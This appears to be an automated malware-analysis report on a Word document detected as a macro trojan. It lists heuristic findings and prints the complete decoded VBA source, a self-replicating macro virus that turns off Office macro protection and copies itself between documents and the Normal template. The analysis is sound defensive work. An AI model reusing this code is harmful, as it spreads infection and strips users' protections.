MALICIOUS
228
Risk Score
Heuristics 5
-
ClamAV: Doc.Trojan.Demo-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Demo-4
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False ' отключение встроенной макрозащиты -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1283 bytes |
SHA-256: 8bda488b8505bfbfdb9c4effc3936a95d2128eab56119d828a3acd857e9e9ab5 |
|||
|
Detection
ClamAV:
Doc.Trojan.Demo-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Demo"
Sub AutoOpen()
On Error Resume Next ' Отключение всех ошибок
Options.VirusProtection = False ' отключение встроенной макрозащиты
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "Demo" Then Infected = True
Next i
If Infected <> True Then
ActiveDocument.VBProject.VBComponents("Demo").Export "C:\sys.sys"
NormalTemplate.VBProject.VBComponents.Import "C:\sys.sys"
Kill "C:\sys.sys"
End If
Infected = False
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "Demo" Then Infected = True
Next i
If Infected <> True Then
NormalTemplate.VBProject.VBComponents("Demo").Export "C:\sys.sys"
ActiveDocument.VBProject.VBComponents.Import "C:\sys.sys"
Kill "C:\sys.sys"
End If
End Sub
Sub AutoNew()
AutoOpen
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.